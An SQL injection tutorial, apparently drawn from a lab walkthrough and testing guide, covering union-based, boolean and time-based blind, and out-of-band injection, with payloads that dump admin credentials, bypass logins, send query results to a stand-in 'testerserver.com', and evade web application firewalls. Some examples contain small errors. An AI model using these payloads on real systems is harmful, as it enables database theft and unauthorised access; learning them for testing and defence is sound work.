

Table Of Content:

- What is SQL Injection?
- Type of SQL Injection attacks
- Automated Exploitation
- SQL Injection Signature Evasion Techniques

What is SQL Injection?

An SQL injection attack (SQLi) consists of insertion or “injection” of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

Type of SQL Injection attacks:

SQL Injection (SQLi) is a common and severe web application security vulnerability that allows attackers to interfere with the queries an application makes to its database. There are several types of SQL Injection attacks, each exploiting different aspects of a web application's interaction with its database:

- 1. In-Band SQL Injection
- 2. Blind SQL Injection
- 3. Out-of-band SQL Injection

1. In-Band SQL Injection:

In-Band SQL Injection is the easiest type to detect and exploit. In-Band just refers to the same method of communication being used to exploit the vulnerability and also receive the results, for example, discovering an SQL Injection vulnerability on a website page and then being able to extract data from the database to the same page.

- **Error-Based SQL Injection**

This type of SQL Injection is the most useful for easily obtaining information about the database structure, as error messages from the database are printed directly to the browser screen. This can often be used to enumerate a whole database.

- **Union-Based SQL Injection**

This type of Injection utilises the SQL UNION operator alongside a SELECT statement to return additional results to the page. This method is the most common way of extracting large amounts of data via an SQL Injection vulnerability.

Practical:

The key to discovering error-based SQL Injection is to break the code's SQL query by trying certain characters until an error message is produced; these are most commonly single apostrophes (') or a quotation mark (").

Try typing an apostrophe (') after the id=1 and press enter. And you'll see this returns an SQL error informing you of an error in your syntax. The fact that you've received this error message confirms the existence of an SQL Injection vulnerability. We can now exploit this vulnerability and use the error messages to learn more about the database structure.

Firstly, we'll try the UNION operator so we can receive an extra result if we choose it. Try setting the mock browsers id parameter to:

```
1 UNION SELECT 1
```

This statement should produce an error message informing you that the UNION SELECT statement has a different number of columns than the original SELECT query. So let's try again but add another column:

```
1 UNION SELECT 1,2
```

Success, the error message has gone, and the article is being displayed, but now we want to display our data instead of the article. The article is displayed because it takes the first returned result somewhere in the website's code and shows that. To get around that, we need the first query to

produce no results. This can simply be done by changing the article ID from 1 to 0:

```
0 UNION SELECT 1,2,3
```

You'll now see the article is just made up of the result from the UNION select, returning the column values 1, 2, and 3. We can start using these returned values to retrieve more useful information. First, we'll get the database name that we have access to:

```
0 UNION SELECT 1,2,database()
```

You'll now see where the number 3 was previously displayed; it now shows the name of the database. Our next query will gather a list of tables that are in this database:

```
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'CurrentDatabase'
```

There are a couple of new things to learn in this query. Firstly, the method **group_concat()** gets the specified column (in our case, **table_name**) from multiple returned rows and puts it into one string separated by commas. The next thing is the **information_schema** database; every user of the database has access to this, and it contains information about all the databases and tables the user has access to. In this particular query, we're interested in listing all the tables in the database, which is **article** and **admin_user**.

As the first level aims to discover Admin's password, the **admin_user** table is what interests us. We can utilize the **information_schema** database again to find the structure of this table using the below query:

```
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'admin_user'
```

This is similar to the previous SQL query. However, the information we want to retrieve has changed from **table_name** to **column_name**, the table we are querying in the **information_schema** database has changed from **tables** to **columns**, and we're searching for any rows where the **table_name** column has a value of **admin_user**.

The query results provide three columns for the **staff_users** table: **id**, **password**, and **username**. We can use the **username** and **password** columns for our following query to retrieve the user's information:

```
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM admin_user
```

Again, we use the **group_concat** method to return all of the rows into one string and make it easier to read. We've also added **,':',** to split the **username** and **password** from each other. Instead of being separated by a comma, we've chosen the HTML **
** tag that forces each result to be on a separate line to make for easier reading. You should now have access to Admin's password.

2. Blind SQL Injection

Unlike In-Band SQL injection, where we can see the results of our attack directly on the screen, blind SQLi is when we get little to no feedback to confirm whether our injected queries were, in fact,

successful or not, this is because the error messages have been disabled, but the injection still works regardless. It might surprise you that all we need is that little bit of feedback to successfully enumerate a whole database.

• Authentication Bypass

One of the most straightforward Blind SQL Injection techniques is when bypassing authentication methods such as login forms. In this instance, we aren't that interested in retrieving data from the database; We just want to get past the login.

Login forms that are connected to a database of users are often developed in such a way that the web application isn't interested in the content of the username and password but more in whether the two make a matching pair in the users table. In basic terms, the web application is asking the database, "Do you have a user with the username *admin* and the password *admin123*" the database replies with either yes or no (true/false) and, depending on that answer, dictates whether the web application lets you proceed or not.

Practical:

The query to the database is the following:

```
select * from users where username='%username%' and password='%password%' LIMIT 1;
```

The **%username%** and **%password%** values are taken from the login form fields. The initial values in the SQL Query box will be blank as these fields are currently empty.

To make this into a query that always returns as true, we can enter the following into the password field:

```
' OR 1=1;--
```

Which turns the SQL query into the following:

```
select * from users where username='' and password='' OR 1=1;
```

Because $1=1$ is a true statement and we've used an **OR** operator, this will always cause the query to return as true, which satisfies the web applications logic that the database found a valid username/password combination and that access should be allowed.

• Boolean Based

Boolean-based SQL Injection refers to the response we receive from our injection attempts, which could be a true/false, yes/no, on/off, 1/0 or any response that can only have two outcomes. That outcome confirms that our SQL Injection payload was either successful or not. On the first inspection, you may feel like this limited response can't provide much information. Still, with just these two responses, it's possible to enumerate a whole database structure and contents.

Practical:

The following URL: <https://website.com/checkuser?username=admin>

The browser body contains `{"taken":true}`. This API endpoint replicates a common feature found on many signup forms, which checks whether a username has already been registered to prompt the user to choose a different username. Because the **taken** value is set to **true**, we can assume the username **admin** is already registered. We can confirm this by changing the username in the mock browser's address bar from **admin** to **admin123**, and upon pressing enter, you'll see the value **taken** has now changed to **false**.

The SQL query that is processed looks like the following: `select * from users where username = '%username%' LIMIT 1;`

The only input we have control over is the username in the query string, and we'll have to use this to perform our SQL injection. Keeping the username as **admin123**, we can start appending to this to try and make the database confirm true things, changing the state of the **taken** field from false to true.

Like in previous levels, our first task is to establish the number of columns in the **users** table, which we can achieve by using the **UNION** statement. Change the username value to the following: `admin123' UNION SELECT 1;--`

As the web application has responded with the value **taken** as false, we can confirm this is the incorrect value of columns. Keep on adding more columns until we have a **taken** value of **true**. You can confirm that the answer is three columns by setting the username to the below value: `admin123' UNION SELECT 1,2,3;--`

Now that our number of columns has been established, we can work on the enumeration of the database. Our first task is to discover the database name. We can do this by using the built-in **database()** method and then using the **like** operator to try and find results that will return a true status.

Try the below username value and see what happens: `admin123' UNION SELECT 1,2,3 where database() like '%';--`

We get a true response because, in the **like** operator, we just have the value of **%**, which will match anything as it's the wildcard value. If we change the wildcard operator to **a%**, you'll see the response goes back to false, which confirms that the database name does not begin with the letter **a**. We can cycle through all the letters, numbers and characters such as **-** and **_** until we discover a match. If you send the below as the username value, you'll receive a **true** response that confirms the database name begins with the letter **s**. `admin123' UNION SELECT 1,2,3 where database() like 's%';--`

Now you move on to the next character of the database name until you find another true response, for example, `'sa%', 'sb%', 'sc%',` etc. Keep on with this process until you discover all the

characters of the database name.

We've established the database name, which we can now use to enumerate table names using a similar method by utilizing the `information_schema` database. Try setting the username to the following value: `admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'CurrentDatabase' and table_name like 'a%';--`

This query looks for results in the `information_schema` database in the `tables` table where the database name matches `sql_i_three`, and the table name begins with the letter a. As the above query results in a **false** response, we can confirm that there are no tables in the `sql_i_three` database that begin with the letter a. Like previously, you'll need to cycle through letters, numbers and characters until you find a positive match.

You'll finally end up discovering a table in the `sql_i_three` database named `users`, which you can confirm by running the following username payload: `admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'CurrentDatabase' and table_name='users';--`

Lastly, we now need to enumerate the column names in the `users` table so we can properly search it for login credentials. Again, we can use the `information_schema` database and the information we've already gained to query it for column names. Using the payload below, we search the `columns` table where the database is equal to `sql_i_three`, the table name is `users`, and the column name begins with the letter a. `admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='CurrentDatabase' and TABLE_NAME='users' and COLUMN_NAME like 'a%';`

Again, you'll need to cycle through letters, numbers and characters until you find a match. As you're looking for multiple results, you'll have to add this to your payload each time you find a new column name to avoid discovering the same one. For example, once you've found the column named `id`, you'll append that to your original payload (as seen below). `admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='CurrentDatabase' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';`

Repeating this process three times will enable you to discover the columns' `id`, `username` and `password`. Which now you can use to query the `users` table for login credentials. First, you'll need to discover a valid username, which you can use the payload below: `admin123' UNION SELECT 1,2,3 from users where username like 'a%`

Once you've cycled through all the characters, you will confirm the existence of the username **admin**. Now you've got the username. You can concentrate on discovering the password. The payload below shows you how to find the password: `admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%`

Cycling through all the characters, you'll discover the password.

• Time-Based

A time-based blind SQL injection is very similar to the above boolean-based one in that the same requests are sent, but there is no visual indicator of your queries being wrong or right this time. Instead, your indicator of a correct query is based on the time the query takes to complete. This time delay is introduced using built-in methods such as **SLEEP(x)** alongside the UNION statement. The SLEEP() method will only ever get executed upon a successful UNION SELECT statement.

So, for example, when trying to establish the number of columns in a table, you would use the following query: `admin123' UNION SELECT SLEEP(5);--`

If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column: `admin123' UNION SELECT SLEEP(5),2;--`

This payload should have produced a 5-second delay, confirming the successful execution of the UNION statement and that there are two columns. You can now repeat the enumeration process from the Boolean-based SQL injection, adding the SLEEP() method to the **UNION SELECT** statement.

If you're struggling to find the table name, the below query should help you on your way:

```
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--
```

3. Out-of-band SQL Injection

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester's server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Practical:

Consider the following SQL query: `SELECT * FROM products WHERE id_product=$id_product`

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be: `http://www.example.com/product.php?`

```
id=10||UTL_HTTP.request('testerserver.com:80')||(SELECT user FROM DUAL)--
```

In this example, the tester is concatenating the value 10 with the result of the function `UTL_HTTP.request`. This Oracle function will try to connect to `testerserver` and make a HTTP GET request containing the return from the query `SELECT user FROM DUAL`. The tester can set up a webserver (e.g. Apache) or use the Netcat tool.

Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. Here is the list of tools that can help you with this.

Tools for SQL Injection Automation:

[SQLMAP](#) : Automatic SQL injection and database takeover tool

[Ghauri](#) : An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws.

SQL Injection Signature Evasion Techniques

SQL Injection (SQLi) attacks exploit vulnerabilities in web applications to interfere with the queries made to a database. Attackers often use sophisticated techniques to bypass defenses such as Web Application Firewalls (WAFs) or Intrusion Prevention Systems (IPSs). Understanding these techniques is crucial for securing web applications.

- **Whitespace:**

Dropping space or adding spaces that won't affect the SQL statement. For example:

```
OR 'a'='a' , or 'a' = 'a'
```

- **Null Byte:**

Use null byte (%00) prior to any characters that the filter is blocking. For example, if the attacker may inject the following SQL:

```
' UNION SELECT password FROM Users WHERE username='admin'--
```

to add Null Bytes will be:

```
%00' UNION SELECT password FROM Users WHERE username='admin'--
```

- **SQL Comment:**

Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as example. ' UNION SELECT password FROM Users WHERE

```
name='admin'--
```

Adding SQL inline comments will be:

```
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--  
'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'  
admin'--
```

• URL Encoding:

Use the online URL encoding to encode the SQL statement. ' UNION SELECT password FROM Users WHERE name='admin'--

The URL encoding of the SQL injection statement will be:

```
%27%20UNwION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
```

• Character Encoding:

Char() function can be used to replace English char. For example, char(114,111,111,116) means root: ' UNION SELECT password FROM Users WHERE name='root'--

To apply the Char(), the SQL injection statement will be ' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

• String Concatenation:

Concatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on database engine. Take MS SQL engine as an example: select 1

The simple SQL statement can be changed as below by using concatenation: EXEC('SEL' + 'ECT 1')

• Hex Encoding:

Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, root can be represented as 726F6F74 Select user from users where name = 'root'

The SQL statement by using HEX value will be: Select user from users where name = 726F6F74
Or Select user from users where name = unhex('726F6F74')

• Declare Variables:

Declare the SQL injection statement into variable and execute it. For example, SQL injection statement below: Union Select password

Define the SQL statement into variable `SQLivar` ; declare `@SQLivar nvarchar(80)`; set `@myvar = N'UNI' + N'ON' + N' SELECT' + N'password'`); EXEC(`@SQLivar`)

Alternative Expression of 'or 1 = 1'

```
OR 'SQLi' = 'SQL'+ 'i'
OR 'SQLi' > 'S'
or 20 > 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1
```